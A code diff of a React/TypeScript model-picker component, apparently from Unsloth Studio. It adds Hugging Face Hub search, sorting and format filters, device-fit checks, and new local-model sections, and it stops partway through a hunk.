+  // Shared Hub search stack (the same hooks the Hub page uses) so the picker
+  // and Hub run one implementation. Scoped to unsloth like the old listing.
+  const online = useOnlineStatus();
+  const accessToken = useHfTokenStore((s) => s.token) || undefined;
+  // Recommended section: a live unsloth listing sorted by the dropdown. The
+  // same sort drives the search results so the dropdown works while searching.
+  const [recommendedSort, setRecommendedSort] =
+    useState<RecommendedSortKey>("trendingScore");
+  // "recommended" surfaces the most recently created Unsloth repos.
+  const recommendedSortBy: HfSortKey =
+    recommendedSort === "recommended" ? "createdAt" : recommendedSort;
+  const {
+    results,
+    isLoading,
+    isLoadingMore,
+    fetchMore,
+    scannedCount,
+    hasMore,
+  } = useHubModelSearch(debouncedQuery, {
+    ownerScope: "unsloth",
+    sortBy: recommendedSortBy,
+    sortDirection: "desc",
+    pinUnslothFirst: true,
+    keepUnsupportedTags: true,
+    accessToken,
+    // Only the Recommended section renders Hub results (On Device / Connected
+    // use local data), so keep the Hub hooks idle on the other tabs to avoid
+    // needless requests/spinner and to preserve offline-local behavior.
+    enabled: online && section === "recommended",
+  });
+  const recommendedSearch = useHubModelSearch("", {
+    ownerScope: "unsloth",
+    sortBy: recommendedSortBy,
+    sortDirection: "desc",
+    pinUnslothFirst: true,
+    keepUnsupportedTags: true,
+    accessToken,
+    enabled: online && section === "recommended",
+  });
 
   // Lowercased repo ids confirmed GGUF by the store or HF search.
   // Absence means "no hint" -> hasGgufSuffix is the fallback (don't
@@ -739,13 +1174,15 @@ export function HubModelPicker({
     }
     return ids;
   }, [models]);
+  // Both listings contribute GGUF hints so a tag-only GGUF (no "-GGUF" suffix)
+  // in Recommended still expands variants instead of loading as a checkpoint.
   const resultGgufIds = useMemo(() => {
     const ids = new Set<string>();
-    for (const result of results) {
+    for (const result of [...results, ...recommendedSearch.results]) {
       if (result.isGguf) ids.add(result.id.toLowerCase());
     }
     return ids;
-  }, [results]);
+  }, [results, recommendedSearch.results]);
   const isKnownGgufRepo = useCallback(
     (id: string): boolean => {
       const key = id.toLowerCase();
@@ -756,10 +1193,97 @@ export function HubModelPicker({
 
   // Track which GGUF repo is expanded for variant selection
   const [expandedGguf, setExpandedGguf] = useState<string | null>(null);
+  // GGUF vision support per repo, reported by the expander once it has read the
+  // metadata, so On Device rows can show a Vision badge on the name.
+  const [visionByRepo, setVisionByRepo] = useState<Record<string, boolean>>({});
+  const reportVision = useCallback((repoId: string, hasVision: boolean) => {
+    setVisionByRepo((prev) =>
+      prev[repoId] === hasVision ? prev : { ...prev, [repoId]: hasVision },
+    );
+  }, []);
+  // When on, On Device GGUF repos show their quantizations without a click.
+  const expandQuantizations = useChatRuntimeStore((s) => s.expandQuantizations);
+  // Repos the user clicked to collapse while expand-by-default is on. Kept in
+  // memory only, so it resets on reload (and when the setting is toggled).
+  const [collapsedGguf, setCollapsedGguf] = useState<Set<string>>(
+    () => new Set(),
+  );
+  useEffect(() => {
+    setCollapsedGguf(new Set());
+  }, [expandQuantizations]);
+  const isGgufExpanded = useCallback(
+    (id: string) =>
+      expandQuantizations ? !collapsedGguf.has(id) : expandedGguf === id,
+    [expandQuantizations, collapsedGguf, expandedGguf],
+  );
+  // Toggle a repo's quantizations: flip the collapse set when expand-by-default
+  // is on, otherwise drive the single-open expandedGguf state.
+  const toggleGgufExpanded = useCallback(
+    (id: string) => {
+      if (expandQuantizations) {
+        setCollapsedGguf((prev) => {
+          const next = new Set(prev);
+          if (next.has(id)) next.delete(id);
+          else next.add(id);
+          return next;
+        });
+      } else {
+        setExpandedGguf((prev) => (prev === id ? null : id));
+      }
+    },
+    [expandQuantizations],
+  );
 
   const [downloadedCollapsed, setDownloadedCollapsed] = useState(false);
+  const [otherModelsCollapsed, setOtherModelsCollapsed] = useState(false);
   const [customFoldersCollapsed, setCustomFoldersCollapsed] = useState(false);
-  const [recommendedCollapsed, setRecommendedCollapsed] = useState(false);
+  const [fineTunedCollapsed, setFineTunedCollapsed] = useState(false);
+  const [lmStudioCollapsed, setLmStudioCollapsed] = useState(false);
+  const [localDirCollapsed, setLocalDirCollapsed] = useState(false);
+  // The Fine-tuned section header; the train icon on the Unsloth header scrolls
+  // here so users can jump to their trained models.
+  const fineTunedSectionRef = useRef<HTMLDivElement>(null);
+  const scrollToFineTuned = useCallback(() => {
+    setFineTunedCollapsed(false);
+    // Two frames so the expand renders before we scroll the section to the top
+    // of the list.
+    requestAnimationFrame(() => {
+      requestAnimationFrame(() => {
+        fineTunedSectionRef.current?.scrollIntoView({
+          behavior: "smooth",
+          block: "start",
+        });
+      });
+    });
+  }, []);
+  // The Other models header; the directions icon on the Unsloth header scrolls
+  // here.
+  const otherModelsSectionRef = useRef<HTMLDivElement>(null);
+  const scrollToOtherModels = useCallback(() => {
+    setOtherModelsCollapsed(false);
+    requestAnimationFrame(() => {
+      requestAnimationFrame(() => {
+        otherModelsSectionRef.current?.scrollIntoView({
+          behavior: "smooth",
+          block: "start",
+        });
+      });
+    });
+  }, []);
+  // The Custom Folders header; the folder icon on the Unsloth header scrolls
+  // here instead of opening the browse popup.
+  const customFolderSectionRef = useRef<HTMLDivElement>(null);
+  const scrollToCustomFolders = useCallback(() => {
+    setCustomFoldersCollapsed(false);
+    requestAnimationFrame(() => {
+      requestAnimationFrame(() => {
+        customFolderSectionRef.current?.scrollIntoView({
+          behavior: "smooth",
+          block: "start",
+        });
+      });
+    });
+  }, []);
 
   // Cached (downloaded) repos -- module-level cache avoids flashing an
   // empty "Downloaded" section when the popover re-mounts.
@@ -774,11 +1298,16 @@ export function HubModelPicker({
   // LM Studio local models -- module-level cache, same pattern as above.
   const [lmStudioModels, setLmStudioModels] =
     useState<LocalModelInfo[]>(_lmStudioCache);
+  // Models found under the local models directory (./models), so they stay
+  // selectable on the On Device tab after leaving the Fine-tuned tab.
+  const [localDirModels, setLocalDirModels] =
+    useState<LocalModelInfo[]>(_localDirCache);
   const [customFolderModels, setCustomFolderModels] =
     useState<LocalModelInfo[]>(_customFolderCache);
 
   // Custom scan folders management
-  const [scanFolders, setScanFolders] = useState<ScanFolderInfo[]>(_scanFoldersCache);
+  const [scanFolders, setScanFolders] =
+    useState<ScanFolderInfo[]>(_scanFoldersCache);
   const [folderInput, setFolderInput] = useState("");
   const [folderError, setFolderError] = useState<string | null>(null);
   const [showFolderInput, setShowFolderInput] = useState(false);
@@ -794,6 +1323,9 @@ export function HubModelPicker({
         );
         _lmStudioCache = lm;
         setLmStudioModels(lm);
+        const ld = res.models.filter((m) => m.source === "models_dir");
+        _localDirCache = ld;
+        setLocalDirModels(ld);
         const cf = res.models.filter((m) => m.source === "custom");
         _customFolderCache = cf;
         setCustomFolderModels(cf);
@@ -810,58 +1342,72 @@ export function HubModelPicker({
       .catch(() => {});
   }, []);
 
-  const handleAddFolder = useCallback(async (overridePath?: string) => {
-    // Explicit path lets the folder browser submit in the same tick it
-    // calls `setFolderInput`; reading `folderInput` would race the update.
-    const raw = overridePath !== undefined ? overridePath : folderInput;
-    const trimmed = raw.trim();
-    if (!trimmed || folderLoading) return;
-    setFolderError(null);
-    setFolderLoading(true);
-    // From the folder browser's one-click "Use this folder": the typed-
-    // input panel is closed, so the inline folderError is invisible.
-    // Surface failures (denylisted path, sandbox 403, etc.) via toast.
-    const fromBrowser = overridePath !== undefined;
-    try {
-      const created = await addScanFolder(trimmed);
-      // Backend returns the existing row for duplicates, so dedupe.
-      const next = _scanFoldersCache.some((f) => f.id === created.id || f.path === created.path)
-        ? _scanFoldersCache
-        : [..._scanFoldersCache, created];
-      _scanFoldersCache = next;
-      setScanFolders(next);
-      setFolderInput("");
-      setShowFolderInput(false);
-      refreshLocalModelsList();
-      onFoldersChange?.();
-      // Background reconciliation with the server
-      void refreshScanFolders();
-    } catch (e) {
-      const message = e instanceof Error ? e.message : "Failed to add folder";
-      setFolderError(message);
-      if (fromBrowser) {
-        toast.error("Couldn't add folder", { description: message });
+  const handleAddFolder = useCallback(
+    async (overridePath?: string) => {
+      // Explicit path lets the folder browser submit in the same tick it
+      // calls `setFolderInput`; reading `folderInput` would race the update.
+      const raw = overridePath !== undefined ? overridePath : folderInput;
+      const trimmed = raw.trim();
+      if (!trimmed || folderLoading) return;
+      setFolderError(null);
+      setFolderLoading(true);
+      // From the folder browser's one-click "Use this folder": the typed-
+      // input panel is closed, so the inline folderError is invisible.
+      // Surface failures (denylisted path, sandbox 403, etc.) via toast.
+      const fromBrowser = overridePath !== undefined;
+      try {
+        const created = await addScanFolder(trimmed);
+        // Backend returns the existing row for duplicates, so dedupe.
+        const next = _scanFoldersCache.some(
+          (f) => f.id === created.id || f.path === created.path,
+        )
+          ? _scanFoldersCache
+          : [..._scanFoldersCache, created];
+        _scanFoldersCache = next;
+        setScanFolders(next);
+        setFolderInput("");
+        setShowFolderInput(false);
+        refreshLocalModelsList();
+        onFoldersChange?.();
+        // Background reconciliation with the server
+        void refreshScanFolders();
+      } catch (e) {
+        const message = e instanceof Error ? e.message : "Failed to add folder";
+        setFolderError(message);
+        if (fromBrowser) {
+          toast.error("Couldn't add folder", { description: message });
+        }
+      } finally {
+        setFolderLoading(false);
       }
-    } finally {
-      setFolderLoading(false);
-    }
-  }, [folderInput, folderLoading, refreshScanFolders, refreshLocalModelsList, onFoldersChange]);
+    },
+    [
+      folderInput,
+      folderLoading,
+      refreshScanFolders,
+      refreshLocalModelsList,
+      onFoldersChange,
+    ],
+  );
 
-  const handleRemoveFolder = useCallback(async (id: number) => {
-    try {
-      await removeScanFolder(id);
-      // Optimistic: drop it immediately.
-      const next = _scanFoldersCache.filter((f) => f.id !== id);
-      _scanFoldersCache = next;
-      setScanFolders(next);
-      refreshScanFolders();
-      refreshLocalModelsList();
-      onFoldersChange?.();
-    } catch (e) {
-      toast.error(e instanceof Error ? e.message : "Failed to remove folder");
-      refreshScanFolders();
-    }
-  }, [refreshScanFolders, refreshLocalModelsList, onFoldersChange]);
+  const handleRemoveFolder = useCallback(
+    async (id: number) => {
+      try {
+        await removeScanFolder(id);
+        // Optimistic: drop it immediately.
+        const next = _scanFoldersCache.filter((f) => f.id !== id);
+        _scanFoldersCache = next;
+        setScanFolders(next);
+        refreshScanFolders();
+        refreshLocalModelsList();
+        onFoldersChange?.();
+      } catch (e) {
+        toast.error(e instanceof Error ? e.message : "Failed to remove folder");
+        refreshScanFolders();
+      }
+    },
+    [refreshScanFolders, refreshLocalModelsList, onFoldersChange],
+  );
 
   const refreshCachedLists = useCallback(() => {
     listCachedGguf()
@@ -921,11 +1467,33 @@ export function HubModelPicker({
   }, [cachedGguf, cachedModels]);
 
   const chatOnly = usePlatformStore((s) => s.isChatOnly());
+  const deviceType = usePlatformStore((s) => s.deviceType);
+  const isMac = deviceType === "mac";
+
+  // Drop models Studio can't run for chat (diffusion / image / video / etc.)
+  // using the Hub's classifier on the tags the listing already carries.
+  const isChatSupported = useCallback(
+    (r: HfModelResult) =>
+      classifyUnslothSupport({
+        modelId: r.id,
+        pipelineTag: r.pipelineTag,
+        tags: r.tags,
+        libraryName: r.libraryName,
+        quantMethod: r.quantMethod,
+        deviceType,
+      }).status !== "unsupported",
+    [deviceType],
+  );
 
   const recommendedIds = useMemo(() => {
     const all = dedupe([...models.map((model) => model.id), value ?? ""])
+      .filter((id) => !isHiddenModelId(id))
       .filter((id) => !downloadedSet.has(id.toLowerCase()))
-      .filter((id) => !chatOnly || isKnownGgufRepo(id))
+      // Chat-only keeps runnable formats: GGUF anywhere, plus MLX/safetensors
+      // on Mac (matches the empty Recommended view so search stays consistent).
+      .filter(
+        (id) => !chatOnly || isRecommendableFormat(id, isKnownGgufRepo(id), isMac),
+      )
       .filter((id) => !/-FP8[-.]|FP8-Dynamic/i.test(id));
     // Sort: GGUFs first, then hub models
     const gguf: string[] = [];
@@ -935,121 +1503,378 @@ export function HubModelPicker({
       else hub.push(id);
     }
     return [...gguf, ...hub];
-  }, [models, value, downloadedSet, chatOnly, isKnownGgufRepo]);
-
-  // Infinite scroll paging for the recommended section
-  const [recommendedPage, setRecommendedPage] = useState(1);
-  // Reset page when the underlying list changes
-  useEffect(() => {
-    setRecommendedPage(1);
-  }, [models, chatOnly]);
-
-  const visibleRecommendedIds = useMemo(() => {
-    const hubStartIndex = recommendedIds.findIndex((id) => !isKnownGgufRepo(id));
-    const allGguf =
-      hubStartIndex === -1
-        ? recommendedIds
-        : recommendedIds.slice(0, hubStartIndex);
-    const allHub =
-      hubStartIndex === -1 ? [] : recommendedIds.slice(hubStartIndex);
-    // Interleave in chunks of 4: [4 gguf, 4 hub, 4 gguf, 4 hub, ...]
-    const result: string[] = [];
-    for (let p = 0; p < recommendedPage; p++) {
-      result.push(...allGguf.slice(p * 4, (p + 1) * 4));
-      result.push(...allHub.slice(p * 4, (p + 1) * 4));
-    }
-    return result;
-  }, [recommendedIds, recommendedPage, isKnownGgufRepo]);
-
-  const hasMoreRecommended =
-    visibleRecommendedIds.length < recommendedIds.length;
+  }, [models, value, downloadedSet, chatOnly, isKnownGgufRepo, isMac]);
 
   const showHfSection = debouncedQuery.trim().length > 0;
 
-  // Newest-first (also covers older backends without `last_modified`).
+  // Independent sort for each local section's inline dropdown.
+  const [downloadedSort, setDownloadedSort] = useState<LocalSortKey>("recent");
+  const [customSort, setCustomSort] = useState<LocalSortKey>("recent");
+  // Format filter toggle for the Unsloth listing.
+  const [formatFilter, setFormatFilter] = useState<FormatFilter>("all");
+
+  // Recommended suggests GGUF anywhere; on Mac also MLX and safetensors. The
+  // "recommended" sort also drops models too big for the device. Already-
+  // downloaded models stay visible (badged), never hidden.
+  const recommendedRows = useMemo(() => {
+    // Never list mobile-targeted builds in the Unsloth section.
+    let rows = recommendedSearch.results
+      .filter((r) => !isHiddenModelId(r.id))
+      .filter((r) => !isMobileVariant(r.id));
+    // Drop models Studio can't run for chat (diffusion / image / video / etc.).
+    rows = rows.filter(isChatSupported);
+    // With no explicit format, show the device-recommended formats (GGUF, plus
+    // MLX on Mac). When the user picks a format, honor it instead so Safetensors
+    // is not dropped by the recommendation default.
+    rows =
+      formatFilter === "all"
+        ? rows.filter((r) => isRecommendableFormat(r.id, r.isGguf, isMac))
+        : rows.filter((r) => matchesFormatFilter(r.id, r.isGguf, formatFilter));
+    if (recommendedSort !== "recommended") return rows;
+    return rows.filter((r) => {
+      // Downloaded models always show, regardless of device fit.
+      if (downloadedSet.has(r.id.toLowerCase())) return true;
+      // Unified-memory hosts (Mac / no discrete GPU) still report system RAM,
+      // so fall back to that budget instead of skipping the fit check entirely.
+      const hasDeviceBudget =
+        gpu.memoryTotalGb > 0 || gpu.systemRamAvailableGb > 0;
+      if (!hasDeviceBudget) return true;
+      // GGUF/MLX repos rarely expose safetensors metadata, so fall back to the
+      // GGUF param count, then the repo name, for a size estimate. Anything we
+      // still cannot size is hidden (requireKnown) so over-budget models like a
+      // 1T GGUF don't slip into Recommended.
+      const params = r.totalParams ?? paramsFromId(r.id);
+      const sizeBytes =
+        r.estimatedSizeBytes ??
+        (params ? estimateQuantBytes(params) : undefined);
+      return fitsDevice({
+        sizeBytes,
+        gpuGb: gpu.memoryTotalGb,
+        systemRamGb: gpu.systemRamAvailableGb,
+        requireKnown: true,
+      });
+    });
+  }, [
+    recommendedSearch.results,
+    downloadedSet,
+    recommendedSort,
+    formatFilter,
+    isMac,
+    gpu,
+    isChatSupported,
+  ]);
+
+  // Per-row meta + VRAM badge from the recommended listing's own metadata.
+  const recommendedMeta = useMemo(() => {
+    const map = new Map<
+      string,
+      { meta: string | null; status: VramFitStatus | null; est: number }
+    >();
+    for (const r of recommendedSearch.results) {
+      const isG = isKnownGgufRepo(r.id);
+      // GGUF param count comes from the repo name or the GGUF metadata, so even
+      // repos with no "<n>B" token (Kimi, MiniMax) show a param chip.
+      const ggufParams = r.totalParams ?? paramsFromId(r.id);
+      const meta = isG
+        ? [
+            ggufParams ? formatCompact(ggufParams) : null,
+            "GGUF",
+            r.estimatedSizeBytes ? formatBytes(r.estimatedSizeBytes) : null,
+          ]
+            .filter(Boolean)
+            .join(" · ")
+        : [
+            r.totalParams
+              ? formatCompact(r.totalParams)
+              : extractParamLabel(r.id),
+            // MLX and safetensors get a format pill like GGUF.
+            isMlxId(r.id) ? "MLX" : "Safetensors",
+            r.estimatedSizeBytes ? formatBytes(r.estimatedSizeBytes) : null,
+          ]
+            .filter(Boolean)
+            .join(" · ") || null;
+      if (isG) {
+        // GGUF fit is size-based: flag OOM when even the smallest quant we can
+        // size exceeds the device budget. Repos we cannot size show no badge.
+        const params = ggufParams;
+        const sizeBytes =
+          r.estimatedSizeBytes ??
+          (params ? estimateQuantBytes(params) : undefined);
+        const hasDeviceBudget =
+          gpu.memoryTotalGb > 0 || gpu.systemRamAvailableGb > 0;
+        const exceeds =
+          hasDeviceBudget &&
+          sizeBytes != null &&
+          !fitsDevice({
+            sizeBytes,
+            gpuGb: gpu.memoryTotalGb,
+            systemRamGb: gpu.systemRamAvailableGb,
+          });
+        map.set(r.id, {
+          meta,
+          status: exceeds ? "exceeds" : null,
+          est: sizeBytes ? Math.round(sizeBytes / 1024 ** 3) : 0,
+        });
+        continue;
+      }
+      const est = r.totalParams
+        ? estimateLoadingVram(r.totalParams, "qlora")
+        : 0;
+      const status =
+        est > 0 && gpu.available ? checkVramFit(est, gpu.memoryTotalGb) : null;
+      map.set(r.id, { meta, status, est });
+    }
+    return map;
+  }, [recommendedSearch.results, isKnownGgufRepo, gpu]);
+
+  // Tag-accurate capabilities keyed by repo id, pooled from both HF listings.
+  // Rows look it up by id and fall back to name detection when absent.
+  const capsById = useMemo(() => {
+    const map = new Map<string, ModelCapabilities>();
+    for (const r of [...results, ...recommendedSearch.results]) {
+      if (map.has(r.id)) continue;
+      map.set(
+        r.id,
+        detectCapabilities({
+          id: r.id,
+          tags: r.tags,
+          pipelineTag: r.pipelineTag,
+        }),
+      );
+    }
+    return map;
+  }, [results, recommendedSearch.results]);
+
+  // Ordered by the On Device dropdown (recent/download date/size/name).
   const sortedCachedGguf = useMemo(
-    () => sortByDownloadRecency(cachedGguf),
-    [cachedGguf],
+    () => sortCachedRepos(cachedGguf, downloadedSort, loadTimes),
+    [cachedGguf, downloadedSort, loadTimes],
   );
   const sortedCachedModels = useMemo(
-    () => sortByDownloadRecency(cachedModels),
-    [cachedModels],
+    () => sortCachedRepos(cachedModels, downloadedSort, loadTimes),
+    [cachedModels, downloadedSort, loadTimes],
   );
+  // Each local section's search is scoped to its own models (matched by name).
+  const localQuery = normalizeForSearch(debouncedQuery.trim());
+  const matchesLocalQuery = (m: LocalModelInfo) =>
+    !localQuery ||
+    normalizeForSearch(
+      `${m.model_id ?? ""} ${m.display_name} ${m.id}`,
+    ).includes(localQuery);
+  const sortedLmStudio = useMemo(
+    () =>
+      sortLocalModels(
+        lmStudioModels.filter(
+          (m) =>
+            localModelMatchesFormat(m, formatFilter) && matchesLocalQuery(m),
+        ),
+        downloadedSort,
+        loadTimes,
+      ),
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+    [lmStudioModels, downloadedSort, formatFilter, loadTimes, localQuery],
+  );
+  // Local ./models entries. Chat-only Studio runs GGUF (any host) and MLX (Mac
+  // only), so raw checkpoints there are hidden (mirrors the cached non-GGUF
+  // rule). An MLX build a Mac user dropped in ./models stays selectable.
+  const sortedLocalDir = useMemo(
+    () =>
+      sortLocalModels(
+        localDirModels.filter(
+          (m) =>
+            (!chatOnly ||
+              localModelIsGguf(m) ||
+              (isMac && localModelIsMlx(m))) &&
+            localModelMatchesFormat(m, formatFilter) &&
+            matchesLocalQuery(m),
+        ),
+        downloadedSort,
+        loadTimes,
+      ),
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+    [
+      localDirModels,
+      downloadedSort,
+      formatFilter,
+      isMac,
+      loadTimes,
+      localQuery,
+      chatOnly,
+    ],
+  );
+  const sortedCustomFolderModels = useMemo(
+    () =>
+      sortLocalModels(
+        customFolderModels.filter(
+          (m) =>
+            localModelMatchesFormat(m, formatFilter) && matchesLocalQuery(m),
+        ),
+        customSort,
+        loadTimes,
+      ),
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+    [customFolderModels, customSort, formatFilter, loadTimes, localQuery],
+  );
+
+  // Fine-tuned models for the On Device "Fine-tuned" section: flat, query-
+  // filtered, newest first.
+  const fineTunedRows = useMemo(() => {
+    const needle = normalizeForSearch(debouncedQuery.trim());
+    return loraModels
+      .filter((m) => {
+        const text = normalizeForSearch(
+          `${m.name} ${m.baseModel ?? ""} ${m.id}`,
+        );
+        return !needle || text.includes(needle);
+      })
+      .slice()
+      .sort((a, b) => {
+        const aTime = a.updatedAt ?? -1;
+        const bTime = b.updatedAt ?? -1;
+        if (aTime !== bTime) return bTime - aTime;
+        return a.name.localeCompare(b.name);
+      });
+  }, [loraModels, debouncedQuery]);
 
   // While searching, filter Downloaded by the query instead of hiding it, so a
   // downloaded model the user is searching for stays visible.
   const visibleCachedGguf = useMemo(() => {
-    if (!showHfSection) return sortedCachedGguf;
+    if (!showHfSection)
+      return sortedCachedGguf.filter((c) =>
+        matchesFormatFilter(c.repo_id, true, formatFilter),
+      );
     const q = normalizeForSearch(debouncedQuery.trim());
-    return sortedCachedGguf.filter((c) => normalizeForSearch(c.repo_id).includes(q));
-  }, [sortedCachedGguf, showHfSection, debouncedQuery]);
+    // Keep the format filter active while searching so the dropdown stays
+    // consistent with the no-query branch (Safetensors selected shouldn't show
+    // GGUF downloads just because the user typed).
+    return sortedCachedGguf.filter(
+      (c) =>
+        matchesFormatFilter(c.repo_id, true, formatFilter) &&
+        normalizeForSearch(c.repo_id).includes(q),
+    );
+  }, [sortedCachedGguf, showHfSection, debouncedQuery, formatFilter]);
   const visibleCachedModels = useMemo(() => {
-    if (!showHfSection) return sortedCachedModels;
+    if (!showHfSection)
+      return sortedCachedModels.filter((c) =>
+        matchesFormatFilter(c.repo_id, false, formatFilter),
+      );
     const q = normalizeForSearch(debouncedQuery.trim());
-    return sortedCachedModels.filter((c) => normalizeForSearch(c.repo_id).includes(q));
-  }, [sortedCachedModels, showHfSection, debouncedQuery]);
+    return sortedCachedModels.filter(
+      (c) =>
+        matchesFormatFilter(c.repo_id, false, formatFilter) &&
+        normalizeForSearch(c.repo_id).includes(q),
+    );
+  }, [sortedCachedModels, showHfSection, debouncedQuery, formatFilter]);
 
   // Non-GGUF cached rows are not shown in chat-only mode, so the empty-state
   // logic must use this (not visibleCachedModels) or the picker can go blank.
   const visibleCachedModelRows = chatOnly ? [] : visibleCachedModels;
 
+  // Split downloaded models so non-Unsloth repos get their own "Other models"
+  // section above Fine-tuned.
+  const unslothCachedGguf = useMemo(
+    () => visibleCachedGguf.filter((c) => isUnslothRepoId(c.repo_id)),
+    [visibleCachedGguf],
+  );
+  const otherCachedGguf = useMemo(
+    () => visibleCachedGguf.filter((c) => !isUnslothRepoId(c.repo_id)),
+    [visibleCachedGguf],
+  );
+  const unslothCachedModelRows = useMemo(
+    () => visibleCachedModelRows.filter((c) => isUnslothRepoId(c.repo_id)),
+    [visibleCachedModelRows],
+  );
+  const otherCachedModelRows = useMemo(
+    () => visibleCachedModelRows.filter((c) => !isUnslothRepoId(c.repo_id)),
+    [visibleCachedModelRows],
+  );
+
   // Recommended models that match the current search query
   const filteredRecommendedIds = useMemo(() => {
     if (!showHfSection) return [];
     const q = normalizeForSearch(debouncedQuery.trim());
-    return recommendedIds.filter((id) => normalizeForSearch(id).includes(q));
-  }, [showHfSection, debouncedQuery, recommendedIds]);
+    return recommendedIds
+      .filter((id) => normalizeForSearch(id).includes(q))
+      .filter((id) =>
+        matchesFormatFilter(id, isKnownGgufRepo(id), formatFilter),
+      );
+  }, [
+    showHfSection,
+    debouncedQuery,
+    recommendedIds,
+    formatFilter,
+    isKnownGgufRepo,
+  ]);
 
-  // VRAM info for visible models plus any surfaced by a search query, so
-  // filtered recommended models also show VRAM badges. Skip GGUF repos:
-  // no safetensors metadata, and the render layer shows a "GGUF" badge.
-  const idsForVram = useMemo(() => {
-    const ids = showHfSection
-      ? [...new Set([...visibleRecommendedIds, ...filteredRecommendedIds])]
-      : visibleRecommendedIds;
-    return ids.filter((id) => !isKnownGgufRepo(id));
-  }, [visibleRecommendedIds, showHfSection, filteredRecommendedIds, isKnownGgufRepo]);
-  const { paramCountById: recommendedParamCountById } =
-    useRecommendedModelVram(idsForVram);
+  // Param counts come straight off the unsloth listings the picker already
+  // loaded, so no extra per-id fetch is needed for the VRAM badges.
+  const recommendedParamCountById = useMemo(() => {
+    const map = new Map<string, number>();
+    for (const r of [...results, ...recommendedSearch.results]) {
+      if (r.totalParams) map.set(r.id, r.totalParams);
+    }
+    return map;
+  }, [results, recommendedSearch.results]);
 
   const recommendedSet = useMemo(
-    () =>
-      new Set(showHfSection ? filteredRecommendedIds : visibleRecommendedIds),
-    [showHfSection, filteredRecommendedIds, visibleRecommendedIds],
+    () => new Set(filteredRecommendedIds),
+    [filteredRecommendedIds],
   );
 
   const hfIds = useMemo(() => {
-    if (!showHfSection) return [];
+    // Only the Unsloth tab searches the HF listing, and only Unsloth models.
+    if (!showHfSection || section !== "recommended") return [];
     return results
+      .filter(isChatSupported)
       .map((result) => result.id)
+      .filter((id) => !isHiddenModelId(id))
+      .filter((id) => id.toLowerCase().startsWith("unsloth/"))
       .filter((id) => !recommendedSet.has(id))
-      // Shown under Downloaded (kept visible while searching); no duplicate.
-      .filter((id) => !downloadedSet.has(id.toLowerCase()))
-      .filter((id) => !chatOnly || isKnownGgufRepo(id))
-      .filter((id) => !/-FP8[-.]|FP8-Dynamic/i.test(id));
-  }, [recommendedSet, downloadedSet, results, showHfSection, chatOnly, isKnownGgufRepo]);
+      // Chat-only keeps runnable formats: GGUF anywhere, plus MLX/safetensors
+      // on Mac (matches the empty Recommended view so search stays consistent).
+      .filter(
+        (id) => !chatOnly || isRecommendableFormat(id, isKnownGgufRepo(id), isMac),
+      )
+      .filter((id) => !/-FP8[-.]|FP8-Dynamic/i.test(id))
+      .filter((id) =>
+        matchesFormatFilter(id, isKnownGgufRepo(id), formatFilter),
+      );
+  }, [
+    recommendedSet,
+    results,
+    showHfSection,
+    section,
+    chatOnly,
+    isKnownGgufRepo,
+    isChatSupported,
+    formatFilter,
+    isMac,
+  ]);
 
   const hubOptionKeys = useMemo(() => {
     const keys: string[] = [];
 
+    // Downloaded (Unsloth) rows (query-filtered) on the On Device tab only.
     if (
+      section === "downloaded" &&
       cachedReady &&
       !downloadedCollapsed &&
-      (visibleCachedGguf.length > 0 || visibleCachedModelRows.length > 0)
+      (unslothCachedGguf.length > 0 || unslothCachedModelRows.length > 0)
     ) {
       keys.push(
-        ...visibleCachedGguf.map((model) =>
+        ...unslothCachedGguf.map((model) =>
           makeModelOptionKey("downloaded-gguf", model.repo_id),
         ),
       );
       keys.push(
-        ...visibleCachedModelRows.map((model) =>
+        ...unslothCachedModelRows.map((model) =>
           makeModelOptionKey("downloaded-model", model.repo_id),
         ),
       );
     }
 
-    if (showHfSection) {
+    // Unsloth-tab search keys (curated matches + HF unsloth results).
+    if (showHfSection && section === "recommended") {
       keys.push(
         ...filteredRecommendedIds.map((id) =>
           makeModelOptionKey("search-recommended", id),
@@ -1059,45 +1884,84 @@ export function HubModelPicker({
       return keys;
     }
 
-    if (chatOnly) {
+    // Other (non-Unsloth) downloaded rows sit just above Fine-tuned.
+    if (
+      section === "downloaded" &&
+      cachedReady &&
+      !otherModelsCollapsed &&
+      (otherCachedGguf.length > 0 || otherCachedModelRows.length > 0)
+    ) {
       keys.push(
-        ...lmStudioModels.map((model) =>
-          makeModelOptionKey("lm-studio", model.id),
+        ...otherCachedGguf.map((model) =>
+          makeModelOptionKey("downloaded-gguf", model.repo_id),
+        ),
+      );
+      keys.push(
+        ...otherCachedModelRows.map((model) =>
+          makeModelOptionKey("downloaded-model", model.repo_id),
         ),
       );
     }
 
-    if (!customFoldersCollapsed) {
+    // Fine-tuned models sit below downloaded, above custom folders.
+    if (section === "downloaded" && !fineTunedCollapsed) {
+      keys.push(...fineTunedRows.map((m) => makeModelOptionKey("lora", m.id)));
+    }
+
+    // Custom folders sit right below the downloaded models on On Device.
+    if (section === "downloaded" && !customFoldersCollapsed) {
       keys.push(
-        ...customFolderModels.map((model) =>
+        ...sortedCustomFolderModels.map((model) =>
           makeModelOptionKey("custom-folder", model.id),
         ),
       );
     }
 
-    if (cachedReady && !recommendedCollapsed) {
+    if (section === "downloaded" && !lmStudioCollapsed) {
       keys.push(
-        ...visibleRecommendedIds.map((id) =>
-          makeModelOptionKey("recommended", id),
+        ...sortedLmStudio.map((model) =>
+          makeModelOptionKey("lm-studio", model.id),
         ),
       );
     }
 
+    if (section === "downloaded" && !localDirCollapsed) {
+      keys.push(
+        ...sortedLocalDir.map((model) =>
+          makeModelOptionKey("local-dir", model.id),
+        ),
+      );
+    }
+
+    if (section === "recommended") {
+      keys.push(
+        ...recommendedRows.map((r) => makeModelOptionKey("recommended", r.id)),
+      );
+    }
+
     return keys;
   }, [
     cachedReady,
     chatOnly,
-    customFolderModels,
+    sortedCustomFolderModels,
     customFoldersCollapsed,
     downloadedCollapsed,
+    fineTunedRows,
+    fineTunedCollapsed,
     filteredRecommendedIds,
     hfIds,
-    lmStudioModels,
-    recommendedCollapsed,
+    sortedLmStudio,
+    lmStudioCollapsed,
+    recommendedRows,
+    section,
     showHfSection,
-    visibleCachedGguf,
-    visibleCachedModelRows,
-    visibleRecommendedIds,
+    sortedLocalDir,
+    localDirCollapsed,
+    unslothCachedGguf,
+    unslothCachedModelRows,
+    otherCachedGguf,
+    otherCachedModelRows,
+    otherModelsCollapsed,
   ]);
 
   const selectedHubOptionKey = useMemo(
@@ -1153,9 +2017,10 @@ export function HubModelPicker({
       string,
       { est: number; status: VramFitStatus | null; detail: string | null }
     >();
